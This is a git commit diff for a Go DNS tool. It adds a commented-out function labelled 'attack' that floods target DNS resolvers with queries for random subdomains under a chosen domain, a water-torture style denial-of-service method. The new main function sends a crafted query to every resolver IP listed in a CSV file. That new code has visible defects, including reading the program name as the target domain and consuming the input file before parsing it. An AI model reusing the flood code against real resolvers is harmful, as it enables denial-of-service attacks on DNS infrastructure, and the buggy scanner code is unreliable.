summaryrefslogtreecommitdiff
diff options
context:
space:
mode:
authorhdk <[email protected]>2023-10-08 15:41:11 +0800
committerhdk <[email protected]>2023-10-08 15:41:11 +0800
commit58a23f81cf806a7554903779e28c1d14704cd38f (patch)
tree6f8a4ad7e45dd3ae9c0680de3ac1ccbbec7fe94a
parent425cf664171545390c0691af990c13e9b0357430 (diff)
测试入口出口关联功能分支初始化
-rw-r--r--go.mod8
-rw-r--r--go.sum20
-rw-r--r--main.go89
3 files changed, 104 insertions, 13 deletions
diff --git a/go.mod b/go.mod
index 6c39164..c21aafe 100644
--- a/go.mod
+++ b/go.mod
@@ -5,12 +5,16 @@ go 1.20
require (
github.com/miekg/dns v1.1.55
github.com/panjf2000/ants/v2 v2.8.2
- github.com/thanhpk/randstr v1.0.6
+ github.com/schollz/progressbar/v3 v3.13.1
)
require (
+ github.com/mattn/go-runewidth v0.0.14 // indirect
+ github.com/mitchellh/colorstring v0.0.0-20190213212951-d06e56a500db // indirect
+ github.com/rivo/uniseg v0.2.0 // indirect
golang.org/x/mod v0.7.0 // indirect
golang.org/x/net v0.2.0 // indirect
- golang.org/x/sys v0.2.0 // indirect
+ golang.org/x/sys v0.6.0 // indirect
+ golang.org/x/term v0.6.0 // indirect
golang.org/x/tools v0.3.0 // indirect
)
diff --git a/go.sum b/go.sum
index 4533628..6e444d7 100644
--- a/go.sum
+++ b/go.sum
@@ -1,29 +1,41 @@
github.com/davecgh/go-spew v1.1.0/go.mod h1:J7Y8YcW2NihsgmVo/mv3lAwl/skON4iLHjSsI+c5H38=
github.com/davecgh/go-spew v1.1.1 h1:vj9j/u1bqnvCEfJOwUhtlOARqs3+rkHYY13jYWTU97c=
github.com/davecgh/go-spew v1.1.1/go.mod h1:J7Y8YcW2NihsgmVo/mv3lAwl/skON4iLHjSsI+c5H38=
+github.com/k0kubun/go-ansi v0.0.0-20180517002512-3bf9e2903213/go.mod h1:vNUNkEQ1e29fT/6vq2aBdFsgNPmy8qMdSay1npru+Sw=
+github.com/mattn/go-isatty v0.0.17/go.mod h1:kYGgaQfpe5nmfYZH+SKPsOc2e4SrIfOl2e/yFXSvRLM=
+github.com/mattn/go-runewidth v0.0.14 h1:+xnbZSEeDbOIg5/mE6JF0w6n9duR1l3/WmbinWVwUuU=
+github.com/mattn/go-runewidth v0.0.14/go.mod h1:Jdepj2loyihRzMpdS35Xk/zdY8IAYHsh153qUoGf23w=
github.com/miekg/dns v1.1.55 h1:GoQ4hpsj0nFLYe+bWiCToyrBEJXkQfOOIvFGFy0lEgo=
github.com/miekg/dns v1.1.55/go.mod h1:uInx36IzPl7FYnDcMeVWxj9byh7DutNykX4G9Sj60FY=
+github.com/mitchellh/colorstring v0.0.0-20190213212951-d06e56a500db h1:62I3jR2EmQ4l5rM/4FEfDWcRD+abF5XlKShorW5LRoQ=
+github.com/mitchellh/colorstring v0.0.0-20190213212951-d06e56a500db/go.mod h1:l0dey0ia/Uv7NcFFVbCLtqEBQbrT4OCwCSKTEv6enCw=
github.com/panjf2000/ants/v2 v2.8.2 h1:D1wfANttg8uXhC9149gRt1PDQ+dLVFjNXkCEycMcvQQ=
github.com/panjf2000/ants/v2 v2.8.2/go.mod h1:7ZxyxsqE4vvW0M7LSD8aI3cKwgFhBHbxnlN8mDqHa1I=
github.com/pmezard/go-difflib v1.0.0 h1:4DBwDE0NGyQoBHbLQYPwSUPoCMWR5BEzIk/f1lZbAQM=
github.com/pmezard/go-difflib v1.0.0/go.mod h1:iKH77koFhYxTK1pcRnkKkqfTogsbg7gZNVY4sRDYZ/4=
+github.com/rivo/uniseg v0.2.0 h1:S1pD9weZBuJdFmowNwbpi7BJ8TNftyUImj/0WQi72jY=
+github.com/rivo/uniseg v0.2.0/go.mod h1:J6wj4VEh+S6ZtnVlnTBMWIodfgj8LQOQFoIToxlJtxc=
+github.com/schollz/progressbar/v3 v3.13.1 h1:o8rySDYiQ59Mwzy2FELeHY5ZARXZTVJC7iHD6PEFUiE=
+github.com/schollz/progressbar/v3 v3.13.1/go.mod h1:xvrbki8kfT1fzWzBT/UZd9L6GA+jdL7HAgq2RFnO6fQ=
github.com/stretchr/objx v0.1.0/go.mod h1:HFkY916IF+rwdDfMAkV7OtwuqBVzrE8GR6GFx+wExME=
github.com/stretchr/objx v0.4.0/go.mod h1:YvHI0jy2hoMjB+UWwv71VJQ9isScKT/TqJzVSSt89Yw=
github.com/stretchr/objx v0.5.0/go.mod h1:Yh+to48EsGEfYuaHDzXPcE3xhTkx73EhmCGUpEOglKo=
+github.com/stretchr/testify v1.3.0/go.mod h1:M5WIy9Dh21IEIfnGCwXGc5bZfKNJtfHm1UVUgZn+9EI=
github.com/stretchr/testify v1.7.1/go.mod h1:6Fq8oRcR53rry900zMqJjRRixrwX3KX962/h/Wwjteg=
github.com/stretchr/testify v1.8.0/go.mod h1:yNjHg4UonilssWZ8iaSj1OCr/vHnekPRkoO+kdMU+MU=
github.com/stretchr/testify v1.8.2 h1:+h33VjcLVPDHtOdpUCuF+7gSuG3yGIftsP1YvFihtJ8=
github.com/stretchr/testify v1.8.2/go.mod h1:w2LPCIKwWwSfY2zedu0+kehJoqGctiVI29o6fzry7u4=
-github.com/thanhpk/randstr v1.0.6 h1:psAOktJFD4vV9NEVb3qkhRSMvYh4ORRaj1+w/hn4B+o=
-github.com/thanhpk/randstr v1.0.6/go.mod h1:M/H2P1eNLZzlDwAzpkkkUvoyNNMbzRGhESZuEQk3r0U=
golang.org/x/mod v0.7.0 h1:LapD9S96VoQRhi/GrNTqeBJFrUjs5UHCAtTlgwA5oZA=
golang.org/x/mod v0.7.0/go.mod h1:iBbtSCu2XBx23ZKBPSOrRkjjQPZFPuis4dIYUhu/chs=
golang.org/x/net v0.2.0 h1:sZfSu1wtKLGlWI4ZZayP0ck9Y73K1ynO6gqzTdBVdPU=
golang.org/x/net v0.2.0/go.mod h1:KqCZLdyyvdV855qA2rE3GC2aiw5xGR5TEjj8smXukLY=
golang.org/x/sync v0.3.0 h1:ftCYgMx6zT/asHUrPw8BLLscYtGznsLAnjq5RH9P66E=
golang.org/x/sync v0.3.0/go.mod h1:FU7BRWz2tNW+3quACPkgCx/L+uEAv1htQ0V83Z9Rj+Y=
-golang.org/x/sys v0.2.0 h1:ljd4t30dBnAvMZaQCevtY0xLLD0A+bRZXbgLMLU1F/A=
-golang.org/x/sys v0.2.0/go.mod h1:oPkhp1MJrh7nUepCBck5+mAzfO9JrbApNNgaTdGDITg=
+golang.org/x/sys v0.0.0-20220811171246-fbc7d0a398ab/go.mod h1:oPkhp1MJrh7nUepCBck5+mAzfO9JrbApNNgaTdGDITg=
+golang.org/x/sys v0.6.0 h1:MVltZSvRTcU2ljQOhs94SXPftV6DCNnZViHeQps87pQ=
+golang.org/x/sys v0.6.0/go.mod h1:oPkhp1MJrh7nUepCBck5+mAzfO9JrbApNNgaTdGDITg=
+golang.org/x/term v0.6.0 h1:clScbb1cHjoCkyRbWwBEUZ5H/tIFu5TAXIqaZD0Gcjw=
+golang.org/x/term v0.6.0/go.mod h1:m6U89DPEgQRMq3DNkDClhWw02AUbt2daBVO4cn4Hv9U=
golang.org/x/tools v0.3.0 h1:SrNbZl6ECOS1qFzgTdQfWXZM9XBkiA6tkFrH9YSTPHM=
golang.org/x/tools v0.3.0/go.mod h1:/rWhSS2+zyEVwoJf8YAX6L2f0ntZ7Kn/mGgAWcipA5k=
gopkg.in/check.v1 v0.0.0-20161208181325-20d25e280405/go.mod h1:Co6ibVJAznAaIkqp8huTwlJQCZ016jof/cbN4VW5Yz0=
diff --git a/main.go b/main.go
index 8ecacf1..7d317ce 100644
--- a/main.go
+++ b/main.go
@@ -1,36 +1,110 @@
package main
import (
+ "bufio"
+ "encoding/csv"
"github.com/miekg/dns"
"github.com/panjf2000/ants/v2"
- "github.com/thanhpk/randstr"
+ "github.com/schollz/progressbar/v3"
+ "io"
+ "log"
"os"
"strconv"
"strings"
"sync"
)
+// 攻击
+//func main() {
+// defer ants.Release()
+//
+// var wg sync.WaitGroup
+//
+// p, _ := ants.NewPool(1000, ants.WithPreAlloc(true))
+//
+// c := new(dns.Client)
+// args := os.Args
+// qname := args[1]
+// runcount, _ := strconv.Atoi(args[2])
+// for i := runcount; i > 0; i-- {
+// for _, v := range args[3:] {
+// wg.Add(1)
+//
+// fqdn := strings.ToLower(randstr.String(10)) + "." + qname
+//
+// print(fqdn + "\n")
+// msg := dns.Msg{}
+// msg.SetQuestion(fqdn, dns.TypeA)
+// vi := v + ":53"
+//
+// _ = p.Submit(
+// func() {
+// _, _, err := c.Exchange(&msg, vi)
+// wg.Done()
+// if err != nil {
+// return
+// }
+// })
+// }
+// }
+// wg.Wait()
+// print("完成!!")
+//}
+
+// 测试入口出口关联
func main() {
defer ants.Release()
var wg sync.WaitGroup
- p, _ := ants.NewPool(10000, ants.WithPreAlloc(true))
+ p, _ := ants.NewPool(100, ants.WithPreAlloc(true))
c := new(dns.Client)
args := os.Args
- qname := args[1]
+ // 目标域名
+ qname := args[0]
+ // 目标文件路径
+ qpath := args[1]
+ // 运行次数
runcount, _ := strconv.Atoi(args[2])
+
+ f, err := os.Open(qpath)
+ if err != nil {
+ log.Fatal(err)
+ }
+ defer f.Close()
+ // read csv values using csv.Reader
+ csvReader := csv.NewReader(f)
+ // 进度条初始化
+ r := bufio.NewReader(f)
+ num := 0
+ for {
+ _, err := r.ReadString('\n')
+ if io.EOF == err || nil != err {
+ break
+ }
+ num += 1
+ }
+ bar := progressbar.Default(int64(num))
+
for i := runcount; i > 0; i-- {
- for _, v := range args[3:] {
+ for {
wg.Add(1)
- fqdn := strings.ToLower(randstr.String(10)) + "." + qname
+ // 逐行读取
+ rec, err := csvReader.Read()
+ if err == io.EOF {
+ break
+ }
+ if err != nil {
+ log.Fatal(err)
+ }
+
+ fqdn := strings.ReplaceAll(rec[0], ":", "-") + "." + qname
- print(fqdn + "\n")
msg := dns.Msg{}
msg.SetQuestion(fqdn, dns.TypeA)
- vi := v + ":53"
+ vi := rec[0] + ":53"
_ = p.Submit(
func() {
@@ -40,6 +114,7 @@ func main() {
return
}
})
+ bar.Add(1)
}
}
wg.Wait()